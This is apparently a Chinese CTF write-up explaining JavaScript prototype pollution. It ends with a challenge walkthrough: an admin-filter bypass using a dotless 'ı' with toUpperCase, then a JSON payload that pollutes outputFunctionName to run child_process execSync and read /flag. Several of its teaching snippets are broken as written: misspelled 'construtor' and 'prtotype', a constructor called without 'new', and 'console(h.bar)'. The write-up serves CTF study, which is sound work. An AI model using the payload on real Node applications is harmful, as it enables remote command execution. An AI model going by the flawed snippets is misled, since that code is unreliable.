proto

proto

一月 15, 2022

什么是原型链污染

js中一切都是对象,js的对象是函数定义的

1
2
3
4
5
function a(){
this.bar=1
}//创建了一个a函数,也可以说是a类的构造函数
var q=new a();//从a类中创建一个q实例
q.construtor//可以查看当前类的构造函数

__proto__和prototype

prototype是类的一个基本属性,类会继承prototype的属性和方法,对象的__proto__和类的prototype属性是一样的

1
a.prototype=q.__proto__

原型链继承

在js中查找对象的属性时如果该属性在该对象中不存在就回向上查找该对象的原型中有没有,如果没有还会继续向上查找原型的原型,直到为null为止

1
2
3
4
5
6
7
function b(){

}
b.prtotype.name="ming"
var j=b()
console.log(j.name)
//ming

原型链污染

对象的原型是object类,修改一个对象的object属性,就可以影响到另一个从object中创建出来的对象

1
2
3
4
5
6
7
8
9
let h={bar:1}
console.log(h.bar)
//1
h.__proto__.bar=2
console(h.bar)
//1
let g={}
console.log(g.bar)
//2

在应用中攻击者控制修改了一个对象的原型,就可以影响所有由改原型创建的对象

这就是原型链污染

利用条件

有用户可控的对象,就可以用进行原型链污染的漏洞

敏感函数

merge,将两个对象合并成一个对象

clone,克隆一个对象

例子

先扫目录发现www.zip

下到源码

题目提示用admin登录,但是源码中把admin过滤了

但是在login的路由里用来toUpperCase

利用js中toUpperCase的特性

参考p牛的文章https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

用admın注册

继续审代码

在info目录下有个模板渲染可以ssti,接下来看outputFunction是不是可控的

在action路由发现clone函数,而且克隆的是req.body是我们可控的

playload

1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

在action目录下传入,访问info目录就能下载到源码